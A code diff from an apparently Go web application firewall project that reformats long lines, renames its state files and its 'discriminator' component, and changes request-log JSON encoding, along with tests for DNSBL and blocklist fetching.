 		synctest.Wait()
 		wantZones(t, dnsbl, listed, masked)
 
-		if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
-			t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
+		if got := waiting(queue); len(got) != 1 ||
+			got[0].Detail["source"] != masked {
+			t.Errorf(
+				"alerts waiting %+v, want the failure's, from %s",
+				got,
+				masked,
+			)
 		}
 
 		scraped := httptest.NewRecorder()
-		m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
-			"/", http.NoBody))
+		m.ServeHTTP(
+			scraped,
+			httptest.NewRequestWithContext(t.Context(), http.MethodGet,
+				"/", http.NoBody),
+		)
 
 		for name, shown := range map[string]string{
 			"the log": log.String(), "the metrics": scraped.Body.String(),
 		} {
-			if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
-				t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
+			if strings.Contains(shown, key) ||
+				!strings.Contains(shown, masked) {
+				t.Errorf(
+					"%s shows the key, or does not name the zone:\n%s",
+					name,
+					shown,
+				)
 			}
 		}
 	})
@@ -382,14 +419,23 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
 		kept := dnsbl.Snapshot()
 
 		want := []reputation.Verdict{
-			{Zone: zone, Client: netip.MustParseAddr(listed), Listed: true, Fetched: fetched},
-			{Zone: zone, Client: netip.MustParseAddr(unlisted), Fetched: fetched},
+			{
+				Zone:    zone,
+				Client:  netip.MustParseAddr(listed),
+				Listed:  true,
+				Fetched: fetched,
+			},
+			{
+				Zone:    zone,
+				Client:  netip.MustParseAddr(unlisted),
+				Fetched: fetched,
+			},
 		}
 		if !reflect.DeepEqual(kept, want) {
 			t.Errorf("verdicts %+v, want %+v", kept, want)
 		}
 
-		// Restarted an hour later with what reputation.json keeps, it uses
+		// Restarted an hour later with what dnsbl.json keeps, it uses
 		// the verdicts, and asks the zone nothing, until the TTL has passed
 		// since they were fetched.
 		time.Sleep(time.Hour)
@@ -433,12 +479,17 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
 
 	dnsbl.Load([]reputation.Verdict{notNamed, stale, inUse})
 
-	if got := dnsbl.Snapshot(); !reflect.DeepEqual(got, []reputation.Verdict{inUse}) {
+	if got := dnsbl.Snapshot(); !reflect.DeepEqual(
+		got,
+		[]reputation.Verdict{inUse},
+	) {
 		t.Errorf("verdicts %+v, want only %+v", got, inUse)
 	}
 }
 
-func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
+func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
@@ -446,7 +497,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
 	p.Now = func() time.Time { return now }
 	dnsbl := reputation.NewDNSBL(p)
 
-	// 100,001 verdicts, listed by client, as reputation.json lists them,
+	// 100,001 verdicts, listed by client, as dnsbl.json lists them,
 	// each fetched a millisecond before the one before it: the last is one
 	// too many.
 	const count = 100001
@@ -466,7 +517,10 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
 	got := dnsbl.Snapshot()
 	if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
 		slices.Contains(got, verdicts[count-1]) {
-		t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
+		t.Errorf(
+			"%d verdicts kept, want all but the one fetched longest ago",
+			len(got),
+		)
 	}
 }
 
@@ -476,7 +530,11 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
 		listedName: {addrs: []string{listing}},
 	}}
 
-	conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
+	conn, err := (&net.ListenConfig{}).ListenPacket(
+		t.Context(),
+		"udp",
+		"127.0.0.1:0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -500,7 +558,8 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
 	// process held up for a whole minute would see the query fail.
 	p.Timeout = time.Minute
 
-	isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
+	isListed, err := reputation.NewDNSBL(p).
+		LookUp(zone, netip.MustParseAddr(listed))
 	if err != nil || !isListed {
 		t.Errorf("listed %t (%v), want true", isListed, err)
 	}
@@ -554,7 +613,11 @@ func (s *resolverStandIn) set(name string, given answer) {
 // dial connects Go's resolver to the stand-in through an in-memory
 // connection, on which it sends each query, and reads each reply, after
 // its length, as over TCP.
-func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
+func (s *resolverStandIn) dial(
+	context.Context,
+	string,
+	string,
+) (net.Conn, error) {
 	client, server := net.Pipe()
 
 	go s.serve(server)
@@ -590,8 +653,10 @@ func (s *resolverStandIn) serve(conn net.Conn) {
 		}
 
 		//nolint:gosec // a reply of a few dozen bytes
-		_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
-			reply...))
+		_, err = conn.Write(
+			append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
+				reply...),
+		)
 		if err != nil {
 			return
 		}
@@ -692,7 +757,10 @@ func waitForTheResolver() {
 }
 
 // newDNSBL returns the DNSBL of p, asking resolver.
-func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
+func newDNSBL(
+	resolver *resolverStandIn,
+	p reputation.DNSBLParams,
+) *reputation.DNSBL {
 	dnsbl := reputation.NewDNSBL(p)
 	dnsbl.SetDial(resolver.dial)
 
@@ -701,7 +769,12 @@ func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.D
 
 // wantZones checks the zones whose verdict dnsbl says lists client, as a
 // request from client finds them.
-func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
+func wantZones(
+	t *testing.T,
+	dnsbl *reputation.DNSBL,
+	client string,
+	want ...string,
+) {
 	t.Helper()
 
 	got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
@@ -712,12 +785,21 @@ func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...str
 
 // wantQueries checks how many queries dnsbl made to zone, and how many of
 // them failed.
-func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
+func wantQueries(
+	t *testing.T,
+	dnsbl *reputation.DNSBL,
+	queries, failures int,
+) {
 	t.Helper()
 
 	if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
-		t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
-			dnsbl.Failures(zone), queries, failures)
+		t.Errorf(
+			"%d queries and %d failures, want %d and %d",
+			dnsbl.Queries(zone),
+			dnsbl.Failures(zone),
+			queries,
+			failures,
+		)
 	}
 }
 

internal/reputation/reputation.go

@@ -7,8 +7,8 @@
 // and when each was last tried. It also asks the DNSBL zones of
 // SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
 // clients with AbuseIPDB, and keeps their scores and the checks spent
-// today. The state package writes all of these to reputation.json and
-// reads them from it, so that a restart keeps them too.
+// today. The state package writes all of these to files and reads them
+// from there, so that a restart keeps them too.
 package reputation
 
 import (
@@ -45,16 +45,19 @@ const (
 )
 
 var (
-	errStatus        = errors.New("the server answered")
-	errTooLong       = errors.New("the list is longer than 16 MiB")
-	errNotNetblock   = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
+	errStatus      = errors.New("the server answered")
+	errTooLong     = errors.New("the list is longer than 16 MiB")
+	errNotNetblock = errors.New(
+		"is not an address or a netblock, such as 192.0.2.0/24",
+	)
 	errNotASNPercent = errors.New(
 		"is not an AS number, : and a percentage, such as AS64496:50")
 	errNotDecision = errors.New(
-		"does not give an address or a netblock and a duration, such as 4h0m0s")
+		"does not give an address or a netblock and a duration, such as 4h0m0s",
+	)
 )
 
-// List is a list as reputation.json holds it: the URL it is fetched from,
+// List is a list as lists.json holds it: the URL it is fetched from,
 // when it was last tried, the fetch failed or not, and its last good copy:
 // when that was fetched, and its lines, as fetched, comment lines
 // included, both left out while no fetch of it has succeeded.
@@ -106,7 +109,7 @@ type Lists struct {
 	lists map[string]*list
 }
 
-// list is one list: what reputation.json keeps of it, its last try, zero
+// list is one list: what lists.json keeps of it, its last try, zero
 // before the first, and its last good copy, what that copy says, and how
 // many fetches of it failed.
 type list struct {
@@ -226,7 +229,10 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
 // decision list on a netblock that holds addr and that ends last, and
 // whether it is still in force at now. A decision that has ended no
 // longer bans, even before the next fetch drops it.
-func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
+func (l *Lists) CrowdSecDecision(
+	addr netip.Addr,
+	now time.Time,
+) (Decision, bool) {
 	if l.params.CrowdSecDecisionsURL == "" {
 		return Decision{}, false
 	}
@@ -272,7 +278,7 @@ func (l *Lists) Failures(listURL string) int {
 
 // Run fetches each list once it is due, as due tells, until ctx is done. A
 // list never tried is fetched at once, and so is one that is due by its
-// last try or copy read from reputation.json.
+// last try or copy read from lists.json.
 func (l *Lists) Run(ctx context.Context) {
 	if len(l.lists) == 0 {
 		return
@@ -292,7 +298,7 @@ func (l *Lists) Run(ctx context.Context) {
 }
 
 // Snapshot returns each list that has been tried, with its copy, if it
-// has one, sorted by URL, as reputation.json lists them.
+// has one, sorted by URL, as lists.json lists them.
 func (l *Lists) Snapshot() []List {
 	l.mu.Lock()
 
@@ -313,7 +319,7 @@ func (l *Lists) Snapshot() []List {
 	return tried
 }
 
-// Load puts lists, read from reputation.json, in place of the last tries
+// Load puts lists, read from lists.json, in place of the last tries
 // and copies held. A list Params does not name is dropped. A copy with a
 // line that parse refuses is an error, and then nothing changes.
 func (l *Lists) Load(lists []List) error {
@@ -431,12 +437,24 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
 		// Raised before it is logged, so that the alert is there once the
 		// log line is.
 		raiseFailure(l.params.Alerts, failed, listURL, err)
-		l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
+		l.params.ProcessLog.Warn(
+			failed,
+			"url",
+			listURL,
+			"error",
+			err.Error(),
+		)
 
 		return
 	}
 
-	l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
+	l.params.ProcessLog.Info(
+		"fetched a list",
+		"url",
+		listURL,
+		"lines",
+		len(lines),
+	)
 }
 
 // raiseFailure raises a source_failure alert into queue, with reason, and
@@ -459,7 +477,12 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
 	ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodGet,
+		listURL,
+		http.NoBody,
+	)
 	if err != nil {
 		return nil, fmt.Errorf("make the request: %w", err)
 	}
@@ -570,7 +593,10 @@ func parseNetblock(text string) (netip.Prefix, bool) {
 		return netip.Prefix{}, false
 	}
 
-	return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
+	return netip.PrefixFrom(
+		netblock.Addr().Unmap(),
+		netblock.Bits()-mappedBits,
+	), true
 }
 
 // parsePercents reads the lines of the file of AS:percent lines, each an
@@ -628,7 +654,8 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
 	found := entries{decisions: map[netip.Prefix]Decision{}}
 
 	for i, decision := range answer {
-		if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
+		if decision.Type != "ban" ||
+			(decision.Scope != "Ip" && decision.Scope != "Range") {
 			continue
 		}
 
@@ -636,12 +663,19 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
 
 		duration, err := time.ParseDuration(decision.Duration)
 		if !ok || err != nil {
-			return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
+			return entries{}, fmt.Errorf(
+				"decision %d %w",
+				i+1,
+				errNotDecision,
+			)
 		}
 
 		expires := fetched.Add(duration)
 		if expires.After(found.decisions[netblock].Expires) {
-			found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
+			found.decisions[netblock] = Decision{
+				Expires:  expires,
+				Scenario: decision.Scenario,
+			}
 		}
 
 		if !slices.Contains(found.lengths, netblock.Bits()) {

internal/reputation/reputation_test.go

@@ -72,7 +72,9 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
 	})
 }
 
-func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
+func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	now := time.Now()
@@ -126,7 +128,9 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
+		servers := &standIn{
+			lists: map[string]string{dropURL: "203.0.113.9\n"},
+		}
 		lists := start(t, servers, params(dropURL))
 		began := time.Now()
 
@@ -142,41 +146,21 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
 		wantListedBy(t, lists, "203.0.113.9")
 		wantListedBy(t, lists, "203.0.113.10", dropURL)
 
-		if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
+		if fetched := lists.Fetched(dropURL); !fetched.Equal(
+			began.Add(refresh),
+		) {
 			t.Errorf("the copy in use was fetched at %s, want %s", fetched,
 				began.Add(refresh))
 		}
 	})
 }
 
-func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
+func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
+	t *testing.T,
+) {
 	t.Parallel()
 
-	for _, tc := range []struct {
-		name string
-		// fail has the stand-in answer the fetches after the first so that
-		// they fail with error.
-		fail  func(servers *standIn)
-		error string
-	}{
-		{
-			"an answer other than 200",
-			func(servers *standIn) { servers.set(dropURL, "") },
-			"the server answered 503 Service Unavailable",
-		},
-		{
-			"a line that does not read",
-			func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
-			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
-		},
-		{
-			"a list longer than 16 MiB",
-			func(servers *standIn) {
-				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
-			},
-			"the list is longer than 16 MiB",
-		},
-	} {
+	for _, tc := range listFailures() {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
@@ -205,8 +189,13 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
 				want := kept[0]
 				want.Tried = time.Now()
 
-				if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
-					t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
+				got := lists.Snapshot()
+				if !reflect.DeepEqual(got, []reputation.List{want}) {
+					t.Errorf(
+						"lists %+v, want the first copy, last tried now, %+v",
+						got,
+						want,
+					)
 				}
 
 				if lists.Failures(dropURL) != 2 {
@@ -215,10 +204,14 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
 
 				// One alert for the first failure; the cooldown holds back the
 				// second.
-				wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
+				failed := time.Now().Add(-refresh)
+				wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
 
-				if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
-					`"url":"`+dropURL+`","error":"`+tc.error) {
+				if !strings.Contains(
+					log.String(),
+					`"msg":"fetching a list failed",`+
+						`"url":"`+dropURL+`","error":"`+tc.error,
+				) {
 					t.Errorf("logged\n%s\nwant the failures", log.String())
 				}
 			})
@@ -226,6 +219,40 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
 	}
 }
 
+// listFailure is a way a list's fetch can fail.
+type listFailure struct {
+	name string
+	// fail has the stand-in answer the fetches after the first so that
+	// they fail with error.
+	fail  func(servers *standIn)
+	error string
+}
+
+// listFailures returns the ways a list's fetch can fail.
+func listFailures() []listFailure {
+	return []listFailure{
+		{
+			"an answer other than 200",
+			func(servers *standIn) { servers.set(dropURL, "") },
+			"the server answered 503 Service Unavailable",
+		},
+		{
+			"a line that does not read",
+			func(servers *standIn) {
+				servers.set(dropURL, "203.0.113.10\n<html>\n")
+			},
+			"line 2 is not an address or a netblock, such as 192.0.2.0/24",
+		},
+		{
+			"a list longer than 16 MiB",
+			func(servers *standIn) {
+				servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
+			},
+			"the list is longer than 16 MiB",
+		},
+	}
+}
+
 func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
 	t.Parallel()
 
@@ -237,19 +264,27 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
 		synctest.Wait()
 
 		if lists.Failures(dropURL) != 0 {
-			t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
+			t.Errorf(
+				"%d failures before a minute, want none",
+				lists.Failures(dropURL),
+			)
 		}
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
 
 		if lists.Failures(dropURL) != 1 {
-			t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
+			t.Errorf(
+				"%d failures after a minute, want 1",
+				lists.Failures(dropURL),
+			)
 		}
 	})
 }
 
-func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
+func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -260,10 +295,18 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.
 		lists.SetTransport(servers)
 
 		// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
-		// reputation.json says at start.
+		// lists.json says at start.
 		err := lists.Load([]reputation.List{
-			{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
-			{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
+			{
+				URL:     dropURL,
+				Fetched: time.Now().Add(-time.Hour),
+				Lines:   []string{"203.0.113.9"},
+			},
+			{
+				URL:     torURL,
+				Fetched: time.Now().Add(-refresh),
+				Lines:   []string{"198.51.100.9"},
+			},
 		})
 		if err != nil {
 			t.Fatalf("load: %v", err)
@@ -290,16 +333,20 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
 	synctest.Test(t, func(t *testing.T) {
 		// drop.txt is fetched, and a refresh later the fetch downloads it
 		// whole but fails on a line that does not read.
-		servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
+		servers := &standIn{
+			lists: map[string]string{dropURL: "198.51.100.1\n"},
+		}
 		lists := start(t, servers, params(dropURL))
 
 		servers.set(dropURL, "198.51.100.2\n<html>\n")
 		time.Sleep(refresh)
 		wantFetches(t, servers, 2)
 
-		// Restarted with what reputation.json keeps, it waits a refresh
+		// Restarted with what lists.json keeps, it waits a refresh
 		// after the failed try, as it does while it runs.
-		restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
+		restarted := &standIn{
+			lists: map[string]string{dropURL: "198.51.100.2\n"},
+		}
 		again := reputation.New(params(dropURL))
 		again.SetTransport(restarted)
 
@@ -349,11 +396,14 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
 		wantFetches(t, servers, 1)
 
 		if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 {
-			t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL),
-				waiting(queue))
+			t.Errorf(
+				"%d failures and alerts %+v, want none",
+				lists.Failures(dropURL),
+				waiting(queue),
+			)
 		}
 
-		// Restarted an hour later with what reputation.json keeps, it fetches
+		// Restarted an hour later with what lists.json keeps, it fetches
 		// tor.txt, never tried, at once, and drop.txt a refresh after its
 		// cut-off try.
 		time.Sleep(time.Hour)
@@ -382,7 +432,9 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
 	})
 }
 
-func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
+func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -397,7 +449,13 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
 		for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} {
 			percent, listed := lists.ASNLimitPercent(asn)
 			if !listed || percent != want {
-				t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want)
+				t.Errorf(
+					"%s has %d (listed %t), want %d",
+					asn,
+					percent,
+					listed,
+					want,
+				)
 			}
 		}
 
@@ -416,7 +474,9 @@ func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) {
 	})
 }
 
-func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) {
+func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
@@ -432,13 +492,18 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
 		t.Fatalf("load: %v", err)
 	}
 
-	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
+	if got := lists.Snapshot(); !reflect.DeepEqual(
+		got,
+		[]reputation.List{kept},
+	) {
 		t.Errorf("copies %+v, want only %+v", got, kept)
 	}
 
-	err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
-		"; DROP", "203.0.113.300",
-	}}})
+	err = lists.Load(
+		[]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{
+			"; DROP", "203.0.113.300",
+		}}},
+	)
 
 	const want = "the copy of " + dropURL +
 		": line 2 is not an address or a netblock, such as 192.0.2.0/24"
@@ -446,7 +511,10 @@ func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T)
 		t.Errorf("error %v, want %s", err, want)
 	}
 
-	if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) {
+	if got := lists.Snapshot(); !reflect.DeepEqual(
+		got,
+		[]reputation.List{kept},
+	) {
 		t.Errorf("copies %+v after the error, want %+v still", got, kept)
 	}
 }
@@ -580,7 +648,12 @@ func wantFetches(t *testing.T, servers *standIn, want int) {
 }
 
 // wantListedBy checks the URLs of the blocklists lists says list addr.
-func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) {
+func wantListedBy(
+	t *testing.T,
+	lists *reputation.Lists,
+	addr string,
+	want ...string,
+) {
 	t.Helper()
 
 	got := lists.ListedBy(netip.MustParseAddr(addr))
@@ -611,8 +684,13 @@ func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) {
 	t.Helper()
 
 	got := waiting(queue)
-	if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 {
-		t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got,
-			queue.Suppressed(), want)
+	if len(got) != 1 || !reflect.DeepEqual(got[0], want) ||
+		queue.Suppressed() != 1 {
+		t.Errorf(
+			"alerts waiting %+v, %d held back, want only %+v and 1",
+			got,
+			queue.Suppressed(),
+			want,
+		)
 	}
 }

internal/requestlog/requestlog.go

@@ -1,10 +1,11 @@
 // Package requestlog writes the lines sww prints on stdout: one
-// JSON object per request, two from discriminator and a short one from rproxy,
+// JSON object per request, two from waf and a short one from rproxy,
 // marked "type":"request", and the process's own messages as JSON lines marked
 // "type":"process".
 package requestlog
 
 import (
+	"bytes"
 	"encoding/json"
 	"fmt"
 	"io"
@@ -14,9 +15,9 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 )
 
-// The action a request line names: what discriminator did with the request.
+// The action a request line names: what waf did with the request.
 const (
-	// ActionForward is a request discriminator allowed, which rproxy passes to
+	// ActionForward is a request waf allowed, which rproxy passes to
 	// the app.
 	ActionForward = "forward"
 
@@ -55,7 +56,7 @@ const (
 	// ActionCountryDenied is a request refused because its client's country
 	// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
 	ActionCountryDenied = "country_denied"
-	// ActionOwnEndpoint is a request discriminator answered at one of its own
+	// ActionOwnEndpoint is a request waf answered at one of its own
 	// endpoints, or a question about a path under /_sww/.
 	ActionOwnEndpoint = "own_endpoint"
 )
@@ -69,14 +70,14 @@ const OffenceLimit = "limit"
 // that broke the error burst.
 const LimitHitMinuteRefusals = "minute_refusals"
 
-// The discriminator_line a request line names, which says which of
-// discriminator's two lines about a question it is.
+// The waf_line a request line names, which says which of
+// waf's two lines about a question it is.
 const (
-	// DiscriminatorLineDecision is discriminator's line at its decision.
-	DiscriminatorLineDecision = "decision"
-	// DiscriminatorLineReport is discriminator's line when rproxy's report
+	// WAFLineDecision is waf's line at its decision.
+	WAFLineDecision = "decision"
+	// WAFLineReport is waf's line when rproxy's report
 	// comes, with the decision's fields and the report's together.
-	DiscriminatorLineReport = "report"
+	WAFLineReport = "report"
 )
 
 // timeLayout is RFC 3339 with milliseconds.
@@ -89,9 +90,9 @@ const timeLayout = "2006-01-02T15:04:05.000Z07:00"
 //nolint:tagliatelle // docs/request-log.md names the fields in snake_case
 type Line struct {
 	Type string `json:"type"`
-	// DiscriminatorLine is DiscriminatorLineDecision or DiscriminatorLineReport
-	// on discriminator's two lines about a question.
-	DiscriminatorLine string `json:"discriminator_line,omitempty"`
+	// WAFLine is WAFLineDecision or WAFLineReport
+	// on waf's two lines about a question.
+	WAFLine string `json:"waf_line,omitempty"`
 
 	// The standard web log fields. Scheme is how the client reached rproxy, or
 	// the trusted proxy in front of it.
@@ -111,7 +112,7 @@ type Line struct {
 	UserAgent     string `json:"user_agent"`
 
 	// Request detail. RequestID is the id rproxy made for the request, or for a
-	// request to discriminator's own endpoints a new one. ForwardedFor is the
+	// request to waf's own endpoints a new one. ForwardedFor is the
 	// X-Forwarded-For header as received. ClientGroup is the netblock the
 	// client is counted as. ASN, ASName and Country are the client's AS
 	// number, AS name and country, as looked up.
@@ -131,7 +132,7 @@ type Line struct {
 	HasAuthorization bool              `json:"has_authorization,omitempty"`
 	HasCookie        bool              `json:"has_cookie,omitempty"`
 
-	// Response detail, of discriminator's own answer. Aborted is true when
+	// Response detail, of waf's own answer. Aborted is true when
 	// rproxy, or the admin's tool, went away before the answer.
 	ResponseContentType string `json:"response_content_type,omitempty"`
 	Aborted             bool   `json:"aborted,omitempty"`
@@ -142,7 +143,7 @@ type Line struct {
 	// taken with a request it would have refused: ActionClientDenied,
 	// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
 	// ActionClientIsRateLimited, ActionBlockedByBlockRule,
-	// ActionBlockedByCoreRuleSet, or, in discriminator,
+	// ActionBlockedByCoreRuleSet, or, in waf,
 	// ActionRequestHeaderTooLarge for the header limits.
 	WouldAction string `json:"would_action,omitempty"`
 	// Heuristic is the name of the heuristic that refused the request, in
@@ -151,7 +152,7 @@ type Line struct {
 	Heuristic        string         `json:"heuristic,omitempty"`
 	HeuristicFigures map[string]any `json:"heuristic_figures,omitempty"`
 	// AfterAnswerHeuristic and AfterAnswerHeuristicFigures are the same for
-	// the heuristic that banned the client after discriminator answered the
+	// the heuristic that banned the client after waf answered the
 	// request.
 	AfterAnswerHeuristic        string         `json:"after_answer_heuristic,omitempty"`
 	AfterAnswerHeuristicFigures map[string]any `json:"after_answer_heuristic_figures,omitempty"` //nolint:lll // a struct tag cannot be split
@@ -231,7 +232,7 @@ type RProxyLine struct {
 	// sooner. DurationResponseMS runs from then until the answer ends.
 	DurationRequestMS  float64 `json:"duration_request_ms"`
 	DurationResponseMS float64 `json:"duration_response_ms"`
-	// Disposition is the valid disposition discriminator answered or, while
+	// Disposition is the valid disposition waf answered or, while
 	// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
 	// when neither gave one.
 	Disposition        string `json:"disposition,omitempty"`
@@ -252,14 +253,20 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
 	return writeJSONLine(w, line)
 }
 
-// writeJSONLine writes line to w as one JSON line.
+// writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
+// ">" as they are, so a query string reads as it was sent.
 func writeJSONLine(w io.Writer, line any) error {
-	encoded, err := json.Marshal(line)
+	var encoded bytes.Buffer
+
+	encoder := json.NewEncoder(&encoded)
+	encoder.SetEscapeHTML(false)
+
+	err := encoder.Encode(line)
 	if err != nil {
 		return fmt.Errorf("encode the request log line: %w", err)
 	}
 
-	_, err = w.Write(append(encoded, '\n'))
+	_, err = w.Write(encoded.Bytes())
 	if err != nil {
 		return fmt.Errorf("write the request log line: %w", err)
 	}

internal/requestlog/requestlog_test.go

@@ -18,7 +18,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
 	var out bytes.Buffer
 
 	err := requestlog.Write(&out, &requestlog.Line{
-		Time:            requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
+		Time: requestlog.FormatTime(
